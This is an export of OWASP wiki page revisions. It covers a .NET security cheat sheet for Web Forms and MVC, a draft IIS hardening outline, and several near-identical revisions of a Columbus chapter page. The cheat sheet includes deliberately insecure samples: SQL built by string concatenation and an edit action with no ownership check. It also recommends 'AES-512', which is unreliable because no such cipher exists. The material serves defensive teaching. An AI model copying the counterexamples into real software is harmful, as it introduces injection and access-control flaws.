** In the .NET framework the strongest algorithm for password hashing is PBKDF2, implemented as [http://msdn.microsoft.com/en-us/library/system.security.cryptography.rfc2898derivebytes(v=vs.110).aspx System.Security.Cryptography.Rfc2898DeriveBytes].
** In .NET Core the strongest algorithm for password hashing is PBKDF2, implemented as [https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/consumer-apis/password-hashing Microsoft.AspNetCore.Cryptography.KeyDerivation.Pbkdf2] which has several significant advantages over Rfc2898DeriveBytes.
** When using a hashing function to hash non-unique inputs such as passwords, use a salt value added to the original value before hashing.
* Make sure your application or protocol can easily support a future change of cryptographic algorithms.
* Use Nuget to keep all of your packages up to date. Watch the updates on your development setup, and plan updates to your applications accordingly.

=== General ===

* Lock down the config file.
** Remove all aspects of configuration that are not in use.
** Encrypt sensitive parts of the web.config using aspnet_regiis -pe

* For Click Once applications the .Net Framework should be upgraded to use version 4.6.2 to ensure TLS 1.1/1.2 support.

==ASP.NET Web Forms Guidance==

ASP.NET Web Forms is the original browser-based application development API for the .NET framework, and is still the most common enterprise platform for web application development.

* Always use [http://support.microsoft.com/kb/324069 HTTPS].
* Enable [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.requiressl.aspx requireSSL] on cookies and form elements and [http://msdn.microsoft.com/en-us/library/system.web.configuration.httpcookiessection.httponlycookies.aspx HttpOnly] on cookies in the web.config.
* Implement [https://msdn.microsoft.com/library/h0hfz6fc.aspx customErrors].
* Make sure [http://www.iis.net/configreference/system.webserver/tracing tracing] is turned off.
* While viewstate isn't always appropriate for web development, using it can provide CSRF mitigation. To make the ViewState protect against CSRF attacks you need to set the [http://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2 ViewStateUserKey]:

protected override OnInit(EventArgs e) {
base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}

If you don't use Viewstate, then look to the default master page of the ASP.NET Web Forms default template for a manual anti-CSRF token using a double-submit cookie.

private const string AntiXsrfTokenKey = "__AntiXsrfToken";
private const string AntiXsrfUserNameKey = "__AntiXsrfUserName";
private string _antiXsrfTokenValue;
protected void Page_Init(object sender, EventArgs e)
{
// The code below helps to protect against XSRF attacks
var requestCookie = Request.Cookies[AntiXsrfTokenKey];
Guid requestCookieGuidValue;
if (requestCookie != null && Guid.TryParse(requestCookie.Value, out requestCookieGuidValue))
{
// Use the Anti-XSRF token from the cookie
_antiXsrfTokenValue = requestCookie.Value;
Page.ViewStateUserKey = _antiXsrfTokenValue;
}
else
{
// Generate a new Anti-XSRF token and save to the cookie
_antiXsrfTokenValue = Guid.NewGuid().ToString("N");
Page.ViewStateUserKey = _antiXsrfTokenValue;
var responseCookie = new HttpCookie(AntiXsrfTokenKey)
{
HttpOnly = true,
Value = _antiXsrfTokenValue
};
if (FormsAuthentication.RequireSSL && Request.IsSecureConnection)
{
responseCookie.Secure = true;
}
Response.Cookies.Set(responseCookie);
}
Page.PreLoad += master_Page_PreLoad;
}

protected void master_Page_PreLoad(object sender, EventArgs e)
{
if (!IsPostBack)
{
// Set Anti-XSRF token
ViewState[AntiXsrfTokenKey] = Page.ViewStateUserKey;
ViewState[AntiXsrfUserNameKey] = Context.User.Identity.Name ?? String.Empty;
}
else
{
// Validate the Anti-XSRF token
if ((string)ViewState[AntiXsrfTokenKey] != _antiXsrfTokenValue ||
(string)ViewState[AntiXsrfUserNameKey] != (Context.User.Identity.Name ?? String.Empty))
{
throw new InvalidOperationException("Validation of Anti-XSRF token failed.");
}
}
}

* Consider [http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security HSTS] in IIS.
** In the Connections pane, go to the site, application, or directory for which you want to set a custom HTTP header.
** In the Home pane, double-click HTTP Response Headers.
** In the HTTP Response Headers pane, click Add... in the Actions pane.
** In the Add Custom HTTP Response Header dialog box, set the name and value for your custom header, and then click OK.
** This is a recommended web.config setup that handles HSTS among other things.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<staticContent>
<clientCache cacheControlCustom="public" cacheControlMode="UseMaxAge" cacheControlMaxAge="1.00:00:00" setEtag="true" />
</staticContent>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'" />
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>
<rewrite>
<rules>
<rule name="Redirect to https">
<match url="(.*)"/>
<conditions>
<add input="{HTTPS}" pattern="Off"/>
<add input="{REQUEST_METHOD}" pattern="^get$|^head$" />
</conditions>
<action type="Redirect" url="https://{HTTP_HOST}/{R:1}" redirectType="Permanent"/>
</rule>
</rules>
<outboundRules>
<rule name="Add HSTS Header" enabled="true">
<match serverVariable="RESPONSE_Strict_Transport_Security"
pattern=".*" />
<conditions>
<add input="{HTTPS}" pattern="on" ignoreCase="true" />
</conditions>
<action type="Rewrite" value="max-age=15768000" />
</rule>
</outboundRules>
</rewrite>
</system.webServer>
</configuration>

* Remove the version header.

<httpRuntime enableVersionHeader="false" />

* Also remove the Server header.

HttpContext.Current.Response.Headers.Remove("Server");

=== HTTP validation and encoding ===

* Do not disable [http://www.asp.net/whitepapers/request-validation validateRequest] in the web.config or the page setup. This value enables limited XSS protection in ASP.NET and should be left intact as it provides partial prevention of Cross Site Scripting. Complete request validation is recommended in addition to the built in protections.
* The 4.5 version of the .NET Frameworks includes the AntiXssEncoder library, which has a comprehensive input encoding library for the prevention of XSS. Use it.
* Whitelist allowable values anytime user input is accepted.
* Validate the URI format using [http://msdn.microsoft.com/en-us/library/system.uri.iswellformeduristring.aspx Uri.IsWellFormedUriString].

=== Forms authentication ===

* Use cookies for persistence when possible. Cookieless Auth will default to UseDeviceProfile.
* Don't trust the URI of the request for persistence of the session or authorization. It can be easily faked.
* Reduce the forms authentication timeout from the default of 20 minutes to the shortest period appropriate for your application. If slidingExpiration is used this timeout resets after each request, so active users won't be affected.
* If HTTPS is not used, slidingExpiration should be disabled. Consider disabling slidingExpiration even with HTTPS.
* Always implement proper access controls.
** Compare user provided username with User.Identity.Name.
** Check roles against User.Identity.IsInRole.
* Use the ASP.NET Membership provider and role provider, but review the password storage. The default storage hashes the password with a single iteration of SHA-1 which is rather weak. The ASP.NET MVC4 template uses [http://www.asp.net/identity/overview/getting-started/introduction-to-aspnet-identity ASP.NET Identity] instead of ASP.NET Membership, and ASP.NET Identity uses PBKDF2 by default which is better. Review the OWASP [[Password Storage Cheat Sheet]] for more information.
* Explicitly authorize resource requests.
* Leverage role based authorization using User.Identity.IsInRole.

==ASP.NET MVC Guidance==

ASP.NET MVC (Model-View-Controller) is a contemporary web application framework that uses more standardized HTTP communication than the Web Forms postback model. The OWASP Top 10 lists the most prevalent and dangerous threats to web security in the world today and is reviewed every 3 years. This section is based on this. Your approach to securing your web application should be to start at the top threat A1 below and work down, this will ensure that any time spent on security will be spent most effectively spent and cover the top threats first and lesser threats afterwards. After covering the top 10 it is generally advisable to assess for other threats or get a professionally completed Penetration Test.

* '''A1 SQL Injection'''

DO: Using an object relational mapper (ORM) or stored procedures is the most effective way of countering the SQL Injection vulnerability.

DO: Use parameterized queries where a direct sql query must be used.

e.g. In entity frameworks:

var sql = @"Update [User] SET FirstName = @FirstName WHERE Id = @Id";
context.Database.ExecuteSqlCommand(
sql,
new SqlParameter("@FirstName", firstname),
new SqlParameter("@Id", id));

DO NOT: Concatenate strings anywhere in your code and execute them against your database (Known as dynamic sql). NB: You can still accidentally do this with ORMs or Stored procedures so check everywhere.

e.g
string strQry = "SELECT * FROM Users WHERE UserName='" + txtUser.Text + "' AND Password='" + txtPassword.Text + "'";
EXEC strQry // SQL Injection vulnerability!

DO: Practise Least Privilege - Connect to the database using an account with a minimum set of permissions required to do it's job i.e. not the sa account

* '''A2 Weak Account management'''

Ensure cookies are sent via httpOnly:

CookieHttpOnly = true,

Reduce the time period a session can be stolen in by reducing session timeout and removing sliding expiration:

ExpireTimeSpan = TimeSpan.FromMinutes(60),
SlidingExpiration = false

See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/App_Start/Startup.Auth.cs here] for full startup code snippet

Ensure cookie is sent over https in the production environment. This should be enforced in the config transforms:


<httpCookies requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>
<authentication>
<forms requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/>

</authentication>

Protect LogOn, Registration and password reset methods against brute force attacks by throttling requests (see code below), consider also using ReCaptcha.

[HttpPost]
[AllowAnonymous]
[ValidateAntiForgeryToken]
'''[AllowXRequestsEveryXSecondsAttribute(Name = "LogOn", Message = "You have performed this action more than {x} times in the last {n} seconds.", Requests = 3, Seconds = 60)]'''
public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)

Find [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/Attributes/ThrottleAttribute.cs here] the code to prevent throttling

DO NOT: Roll your own authentication or session management, use the one provided by .Net

DO NOT: Tell someone if the account exists on LogOn, Registration or Password reset. Say something like 'Either the username or password was incorrect', or 'If this account exists then a reset token will be sent to the registered email address'. This protects against account enumeration. The feedback to the user should be identical whether or not the account exists, both in terms of content and behaviour: e.g. if the response takes 50% longer when the account is real then membership information can be guessed and tested.

* '''A3 Cross Site Scripting'''

DO NOT: Trust any data the user sends you, prefer white lists (always safe) over black lists

You get encoding of all HTML content with MVC3, to properly encode all content whether HTML, javascript, CSS, LDAP etc use the Microsoft AntiXSS library:

Install-Package AntiXSS

then set in config:

<system.web>

<httpRuntime targetFramework="4.5" enableVersionHeader="false" encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" maxRequestLength="4096" />

DO NOT: Use the [AllowHTML] attribute or helper class @Html.Raw unless you really know that the content you are writing to the browser is safe and has been escaped properly.

DO: Enable a content security policy, this will prevent your pages from accessing assets it should not be able to access (e.g. a malicious script):
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'none'; style-src 'self'; img-src 'self'; font-src 'self'; script-src 'self'" />
...

* '''A4 Insecure Direct object references'''

When you have a resource (object) which can be accessed by a reference (in the sample below this is the id) then you need to ensure that the user is intended to be there

// Insecure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
return View("Details", new UserViewModel(user);
}

// Secure
public ActionResult Edit(int id)
{
var user = _context.Users.FirstOrDefault(e => e.Id == id);
// Establish user has right to edit the details
if (user.Id != _userIdentity.GetUserId())
{
HandleErrorInfo error = new HandleErrorInfo(new Exception("INFO: You do not have permission to edit these details"));
return View("Error", error);
}
return View("Edit", new UserViewModel(user);
}

* '''A5 Security Misconfiguration'''

Ensure debug and trace are off in production. This can be enforced using web.config transforms:


<compilation xdt:Transform="RemoveAttributes(debug)" />

<trace enabled="false" xdt:Transform="Replace"/>

DO NOT: Use default passwords

DO: (When using TLS) Redirect a request made over Http to https: In Global.asax.cs:

protected void Application_BeginRequest()
{
#if !DEBUG
// SECURE: Ensure any request is returned over SSL/TLS in production
if (!Request.IsLocal && !Context.Request.IsSecureConnection) {
var redirect = Context.Request.Url.ToString().ToLower(CultureInfo.CurrentCulture).Replace("http:", "https:");
Response.Redirect(redirect);
}
#endif
}

* '''A6 Sensitive data exposure'''

DO NOT: Store encrypted passwords.

DO: Use a strong hash to store password credentials. Use PBKDF2, BCrypt or SCrypt with at least 8000 iterations and a strong key.

DO: Enforce passwords with a minimum complexity that will survive a dictionary attack i.e. longer passwords that use the full character set (numbers, symbols and letters) to increase the entropy.

DO: Use a strong encryption routine such as AES-512 where personally identifiable data needs to be restored to it's original format. Do not encrypt passwords. Protect encryption keys more than any other asset. Apply the following test: Would you be happy leaving the data on a spreadsheet on a bus for everyone to read. Assume the attacker can get direct access to your database and protect it accordingly.

DO: Use TLS 1.2 for your entire site. Get a free certificate from [https://www.startssl.com/ StartSSL.com] or [https://letsencrypt.org/ LetsEncrypt.org].

DO NOT: Allow SSL, this is now obsolete

DO: Have a strong TLS policy (see [http://www.ssllabs.com/projects/best-practises/ SSL Best Practises]), use TLS 1.2 wherever possible. Then check the configuration using [https://www.ssllabs.com/ssltest/ SSL Test]

DO: Ensure headers are not disclosing information about your application. See [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs HttpHeaders.cs] , [https://github.com/Dionach/StripHeaders/ Dionach StripHeaders] or disable via web.config:
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<httpProtocol>
<customHeaders>
<add name="X-Content-Type-Options" value="NOSNIFF" />
<add name="X-Frame-Options" value="DENY" />
<add name="X-Permitted-Cross-Domain-Policies" value="master-only"/>
<add name="X-XSS-Protection" value="1; mode=block"/>
<remove name="X-Powered-By"/>
</customHeaders>
</httpProtocol>

* '''A7 Missing function level access control'''

DO: Authorize users on all externally facing endpoints. The .Net framework has many ways to authorize a user, use them at method level:

[Authorize(Roles = "Admin")]
[HttpGet]
public ActionResult Index(int page = 1)

or better yet, at controller level:

[Authorize]
public class UserController

You can also check roles in code using identity features in .net: System.Web.Security.Roles.IsUserInRole(userName, roleName)

* '''A8 Cross site request forgery'''

DO: Send the anti-forgery token with every Post/Put request:

using (Html.BeginForm("LogOff", "Account", FormMethod.Post, new { id = "logoutForm", @class = "pull-right" }))
{
@Html.AntiForgeryToken()
<ul class="nav nav-pills">
<li role="presentation">Logged on as @User.Identity.Name
<li role="presentation"><a href="javascript:document.getElementById('logoutForm').submit()">Log off</a></li>
</ul>
}

Then validate it at the method or preferably the controller level:

[HttpPost]
'''[ValidateAntiForgeryToken]'''
public ActionResult LogOff()

Make sure the tokens are removed completely for invalidation on logout.

/// <summary>
/// SECURE: Remove any remaining cookies including Anti-CSRF cookie
/// </summary>
public void RemoveAntiForgeryCookie(Controller controller)
{
string[] allCookies = controller.Request.Cookies.AllKeys;
foreach (string cookie in allCookies)
{
if (controller.Response.Cookies[cookie] != null && cookie == "__RequestVerificationToken")
{
controller.Response.Cookies[cookie].Expires = DateTime.Now.AddDays(-1);
}
}
}

NB: You will need to attach the anti-forgery token to Ajax requests.

After .NET Core 2.0 it is possible to automatically generate and verify the antiforgery token. Forms must have the requisite helper as seen here:

<form action="RelevantAction" >
@Html.AntiForgeryToken()
</form>

And then add the [AutoValidateAntiforgeryToken] attribute to the action result.

* '''A9 Using components with known vulnerabilities'''

DO: Keep the .Net framework updated with the latest patches

DO: Keep your NuGet packages up to date, many will contain their own vulnerabilities.

DO: Run the OWASP Dependency checker against your application as part of your build process and act on any high level vulnerabilities. [[https://www.owasp.org/index.php/OWASP_Dependency_Check OWASP Dependency Checker]]

* '''A10 Unvalidated redirects and forwards'''

A protection against this was introduced in Mvc 3 template. Here is the code:

public async Task<ActionResult> LogOn(LogOnViewModel model, string returnUrl)
{
if (ModelState.IsValid)
{
var logonResult = await _userManager.TryLogOnAsync(model.UserName, model.Password);
if (logonResult.Success)
{
await _userManager.LogOnAsync(logonResult.UserName, model.RememberMe);
return RedirectToLocal(returnUrl);
....

private ActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
{
return Redirect(returnUrl);
}
else
{
return RedirectToAction("Landing", "Account");
}
}

Other advice:

* Protect against Clickjacking and man in the middle attack from capturing an initial Non-TLS request, set the X-Frame-Options and Strict-Transport-Security (HSTS) headers. Full details [https://github.com/johnstaveley/SecurityEssentials/blob/master/SecurityEssentials/Core/HttpHeaders.cs here]
* Protect against a man in the middle attack for a user who has never been to your site before. Register for [https://hstspreload.org/ HSTS preload]
* Maintain security testing and analysis on Web API services. They are hidden inside MEV sites, and are public parts of a site that will be found by an attacker. All of the MVC guidance and much of the WCF guidance applies to the Web API.

More information:

For more information on all of the above and code samples incorporated into a sample MVC5 application with an enhanced security baseline go to [http://github.com/johnstaveley/SecurityEssentials/ Security Essentials Baseline project]

==XAML Guidance==

* Work within the constraints of Internet Zone security for your application.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==Windows Forms Guidance==

* Use partial trust when possible. Partially trusted Windows applications reduce the attack surface of an application. Manage a list of what permissions your app must use, and what it may use, and then make the request for those permissions declaratively at run time.
* Use ClickOnce deployment. For enhanced permissions, use permission elevation at runtime or trusted application deployment at install time.

==WCF Guidance==

* Keep in mind that the only safe way to pass a request in RESTful services is via HTTP POST, with TLS enabled. GETs are visible in the querystring, and a lack of TLS means the body can be intercepted.
* Avoid BasicHttpBinding. It has no default security configuration. Use WSHttpBinding instead.
* Use at least two security modes for your binding. Message security includes security provisions in the headers. Transport security means use of SSL. TransportWithMessageCredential combines the two.
* Test your WCF implementation with a fuzzer like the Zed Attack Proxy.

== Authors and Primary Editors ==

Bill Sempf - bill.sempf(at)owasp.org<br />
Troy Hunt - troyhunt(at)hotmail.com<br />
Jeremy Long - jeremy.long(at)owasp.org<br />

== Contributors ==

Shane Murnion
John Staveley
Steve Bamelis
Xander Sherry

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]]
[[Category:OWASP .NET Project]]

Hardening IIS

2018-07-12T20:53:47Z

Bill Sempf: Formatted the layout of the headers.

= Draft - Work In Progress =

=== Basic configuration ===

==== Disable directoryBrowsing ====

==== Avoid wildcard host headers ====

==== Ensure applicationPoolIdentity is configured for all application pools ====

==== Use an unique applicationPool per site ====

==== Disable IIS detailed error page from displaying remotely ====

=== Request filtering ===

==== Configure maxAllowedContentLength ====

==== Configure maxURL request filter ====

==== Configure MaxQueryString request filter ====

==== Reject non-ASCII characters in URLs ====

==== Reject double-encoded requests ====

==== Disable HTTP trace requests ====

==== Disallow unlisted file extensions ====

==== Enable Dynamic IP Address Restrictions ====

=== Transport Encryption ===

==== SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values. ====

==== A list of recommendations for IIS ====

===== Disable SSL v2/v3 =====

===== Disable TLS 1.0 =====

===== Disable TLS 1.1 =====

===== Ensure TLS 1.2 is enabled =====

===== Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc) =====

===== Ensure TLS cipher suites are correctly ordered =====
https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/

=== HSTS support ===

==== IIS recently (Windows Server 1709) added turnkey support for HSTS ====
https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts

=== CORS support ===

==== If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS ====
https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module

== Authors ==
Sourabh Shirhatti (Microsoft)

Bill Sempf (bill.sempf@owasp.org)

Hardening IIS

2018-07-12T15:31:27Z

Bill Sempf: Created page with "== draft == 1. Basic configuration · Disable directoryBrowsing · Avoid wildcard host headers · Ensure applicationPoolIdentity is configure..."

== draft ==

1. Basic configuration

· Disable directoryBrowsing

· Avoid wildcard host headers

· Ensure applicationPoolIdentity is configured for all application pools

· Use an unique applicationPool per site

· Disable IIS detailed error page from displaying remotely

2. Request filtering

· Configure maxAllowedContentLength

· Configure maxURL request filter

· Configure MaxQueryString request filter

· Reject non-ASCII characters in URLs

· Reject double-encoded requests

· Disable HTTP trace requests

· Disallow unlisted file extensions

· Enable Dynamic IP Address Restrictions

3. Transport Encryption

· SSL/TLS settings are controlled at the SChannel level. They are set machine wide and IIS respects these values.

· A list of recommendations for IIS

i. Disable SSL v2/v3

ii. Disable TLS 1.0

iii. Disable TLS 1.1

iv. Ensure TLS 1.2 is enabled

v. Disable weak cipher suites (NULL cipher suites, DES cipher suites, RC4 cipher suites, Triple DES, etc)

vi. Ensure TLS cipher suites are correctly ordered

· https://cloudblogs.microsoft.com/microsoftsecure/2017/09/07/new-iis-functionality-to-help-identify-weak-tls-usage/

4. HSTS support

· IIS recently (Windows Server 1709) added turnkey support for HSTS

· https://docs.microsoft.com/en-us/iis/get-started/whats-new-in-iis-10-version-1709/iis-10-version-1709-hsts

5. CORS support

· If you choose not to handle CORS in your application, we ship an IIS an IIS module to help configure CORS

· https://blogs.iis.net/iisteam/getting-started-with-the-iis-cors-module

== Authors ==
Sourabh Shirhatti (Microsoft)
Bill Sempf (bill.lsempf@owasp.org)

Columbus

2017-12-29T04:53:21Z

Bill Sempf: Reverting meetup extension changes

Welcome to the home site of the Columbus OWASP Chapter. We welcome all technology professionals to our monthly discussions of application security.

== Upcoming Meetings ==

'''''Upcoming meetings are listed at our new [http://www.meetup.com/Columbus-OWASP/ Meetup.com site].'''''

== Chapter information ==

Columbus OWASP meets monthly on the fourth Thursday of the month, with two different meeting formats. Some months are Sessions, where we have two speakers, and an open discussion of news of the day. Others are Code Jams, where we work on projects, bug bounty programs, or other geeky stuff. All of it is described on [http://www.meetup.com/Columbus-OWASP/ Meetup.com]. There will be opportunities for Columbus OWASP members to meet other local security groups through event cross-participation and cooperation.

=== OWASP Membership ===

There have been a lot of questions about membership. Membership supports the many projects that OWASP in involved in, including ESAPI. [http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters Learn more about membership here]. Remember to tell them you are interested in membership in the Columbus chapter.

=== Stay in touch with Columbus OWASP ===

*The first stop to connecting with the community is our [https://www.meetup.com/Columbus-OWASP/messages/boards/ Meetup message board], feel free to contribute and interact with the forum - it's not just for listening!

*We're a group on [http://www.linkedin.com/groups?home=&gid=2796025 LinkedIn] as well, please join us.

=== Become a voting member ===

We encourage organization and individual supporters of our [http://www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project ethics & principals] to become a voting '''[http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters MEMBER]'''. Please review the [[Chapter Rules]] and the [http://www.owasp.org/images/9/9f/2009-OWASP_KeyNote-V2.pdf OWASP overview], and [mailto:columbusowasp(at)gmail.com contact the chapter leaders] for more information.

''The professional association of OWASP Foundation Inc., is always free and open to anyone interested in learning more about application security.''

=== We want your participation! ===

To submit educational topics for upcoming meetings, [mailto:columbusowasp(at)gmail.com submit your ideas and slide deck] (if available) using the [http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] and include a speaker BIO. It doesn't have to be formal, we're happy to provide some assistance in organizing your thoughts. You only need an interest and knowledge of your independent research or related software security topic.

=== Sponsorship, too! ===

There are myriad opportunities to sponsor the chapter, including meeting space, food, marketing, and monetary donations. We're always looking for assistance. Inquiries regarding chapter or per-meeting sponsorship opportunities can be directed to [mailto:columbusowasp(at)gmail.com the chapter leaders]. As a [http://www.owasp.org/index.php/About_OWASP 501(3)c non-profit professional association] your support and sponsorship of a meeting venue and/or refreshments is tax-deductible and all financial contributions can be [https://www.owasp.org/index.php/Single_Meeting_Supporter made online right now].

== Previous Meetings ==

The previous meetings, including materials and photos, can be accessed on our [https://www.meetup.com/Columbus-OWASP/ Meetup page]

== Columbus OWASP Chapter Leaders ==

Please feel free to contact the chapter leaders at any time.

*[mailto:aaronansari@gmail.com Aaron Ansari]
*[mailto:Connie.Matthews(at)securicon.com Connie Matthews]
*[mailto:bill(at)pointweb.net Bill Sempf]

[[Category:OWASP_Chapter]] [[Category:Ohio]]

Columbus

2017-12-29T04:52:36Z

Bill Sempf: Reverting meetup extension changes

Welcome to the home site of the Columbus OWASP Chapter. We welcome all technology professionals to our monthly discussions of application security.

== Upcoming Meetings ==

<meetup group="{Columbus-OWASP}" />

== Chapter information ==

Columbus OWASP meets monthly on the fourth Thursday of the month, with two different meeting formats. Some months are Sessions, where we have two speakers, and an open discussion of news of the day. Others are Code Jams, where we work on projects, bug bounty programs, or other geeky stuff. All of it is described on [http://www.meetup.com/Columbus-OWASP/ Meetup.com]. There will be opportunities for Columbus OWASP members to meet other local security groups through event cross-participation and cooperation.

=== OWASP Membership ===

There have been a lot of questions about membership. Membership supports the many projects that OWASP in involved in, including ESAPI. [http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters Learn more about membership here]. Remember to tell them you are interested in membership in the Columbus chapter.

=== Stay in touch with Columbus OWASP ===

*The first stop to connecting with the community is our [https://www.meetup.com/Columbus-OWASP/messages/boards/ Meetup message board], feel free to contribute and interact with the forum - it's not just for listening!

*We're a group on [http://www.linkedin.com/groups?home=&gid=2796025 LinkedIn] as well, please join us.

=== Become a voting member ===

We encourage organization and individual supporters of our [http://www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project ethics & principals] to become a voting '''[http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters MEMBER]'''. Please review the [[Chapter Rules]] and the [http://www.owasp.org/images/9/9f/2009-OWASP_KeyNote-V2.pdf OWASP overview], and [mailto:columbusowasp(at)gmail.com contact the chapter leaders] for more information.

''The professional association of OWASP Foundation Inc., is always free and open to anyone interested in learning more about application security.''

=== We want your participation! ===

To submit educational topics for upcoming meetings, [mailto:columbusowasp(at)gmail.com submit your ideas and slide deck] (if available) using the [http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] and include a speaker BIO. It doesn't have to be formal, we're happy to provide some assistance in organizing your thoughts. You only need an interest and knowledge of your independent research or related software security topic.

=== Sponsorship, too! ===

There are myriad opportunities to sponsor the chapter, including meeting space, food, marketing, and monetary donations. We're always looking for assistance. Inquiries regarding chapter or per-meeting sponsorship opportunities can be directed to [mailto:columbusowasp(at)gmail.com the chapter leaders]. As a [http://www.owasp.org/index.php/About_OWASP 501(3)c non-profit professional association] your support and sponsorship of a meeting venue and/or refreshments is tax-deductible and all financial contributions can be [https://www.owasp.org/index.php/Single_Meeting_Supporter made online right now].

== Previous Meetings ==

The previous meetings, including materials and photos, can be accessed on our [https://www.meetup.com/Columbus-OWASP/ Meetup page]

== Columbus OWASP Chapter Leaders ==

Please feel free to contact the chapter leaders at any time.

*[mailto:aaronansari@gmail.com Aaron Ansari]
*[mailto:Connie.Matthews(at)securicon.com Connie Matthews]
*[mailto:bill(at)pointweb.net Bill Sempf]

[[Category:OWASP_Chapter]] [[Category:Ohio]]

Columbus

2017-12-29T04:41:34Z

Bill Sempf: Trying again

Welcome to the home site of the Columbus OWASP Chapter. We welcome all technology professionals to our monthly discussions of application security.

== Upcoming Meetings ==

[meetup group="{Columbus-OWASP}" /]

== Chapter information ==

Columbus OWASP meets monthly on the fourth Thursday of the month, with two different meeting formats. Some months are Sessions, where we have two speakers, and an open discussion of news of the day. Others are Code Jams, where we work on projects, bug bounty programs, or other geeky stuff. All of it is described on [http://www.meetup.com/Columbus-OWASP/ Meetup.com]. There will be opportunities for Columbus OWASP members to meet other local security groups through event cross-participation and cooperation.

=== OWASP Membership ===

There have been a lot of questions about membership. Membership supports the many projects that OWASP in involved in, including ESAPI. [http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters Learn more about membership here]. Remember to tell them you are interested in membership in the Columbus chapter.

=== Stay in touch with Columbus OWASP ===

*The first stop to connecting with the community is our [https://www.meetup.com/Columbus-OWASP/messages/boards/ Meetup message board], feel free to contribute and interact with the forum - it's not just for listening!

*We're a group on [http://www.linkedin.com/groups?home=&gid=2796025 LinkedIn] as well, please join us.

=== Become a voting member ===

We encourage organization and individual supporters of our [http://www.owasp.org/index.php/About_The_Open_Web_Application_Security_Project ethics & principals] to become a voting '''[http://www.owasp.org/index.php/Membership#Categories_of_Membership_.26_Supporters MEMBER]'''. Please review the [[Chapter Rules]] and the [http://www.owasp.org/images/9/9f/2009-OWASP_KeyNote-V2.pdf OWASP overview], and [mailto:columbusowasp(at)gmail.com contact the chapter leaders] for more information.

''The professional association of OWASP Foundation Inc., is always free and open to anyone interested in learning more about application security.''

=== We want your participation! ===

To submit educational topics for upcoming meetings, [mailto:columbusowasp(at)gmail.com submit your ideas and slide deck] (if available) using the [http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] and include a speaker BIO. It doesn't have to be formal, we're happy to provide some assistance in organizing your thoughts. You only need an interest and knowledge of your independent research or related software security topic.

=== Sponsorship, too! ===

There are myriad opportunities to sponsor the chapter, including meeting space, food, marketing, and monetary donations. We're always looking for assistance. Inquiries regarding chapter or per-meeting sponsorship opportunities can be directed to [mailto:columbusowasp(at)gmail.com the chapter leaders]. As a [http://www.owasp.org/index.php/About_OWASP 501(3)c non-profit professional association] your support and sponsorship of a meeting venue and/or refreshments is tax-deductible and all financial contributions can be [https://www.owasp.org/index.php/Single_Meeting_Supporter made online right now].

== Previous Meetings ==

The previous meetings, including materials and photos, can be accessed on our [https://www.meetup.com/Columbus-OWASP/ Meetup page]

== Columbus OWASP Chapter Leaders ==

Please feel free to contact the chapter leaders at any time.

*[mailto:aaronansari@gmail.com Aaron Ansari]
*[mailto:Connie.Matthews(at)securicon.com Connie Matthews]
*[mailto:bill(at)pointweb.net Bill Sempf]

[[Category:OWASP_Chapter]] [[Category:Ohio]]

Columbus

2017-12-29T04:40:53Z

Bill Sempf: Added meetup extension

.NET Security Cheat Sheet

2017-09-20T15:02:02Z

Bill Sempf: Added Xander

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
== Introduction ==
__TOC__{{TOC hidden}}
This page intends to provide quick basic .NET security tips for developers.

===The .NET Framework===
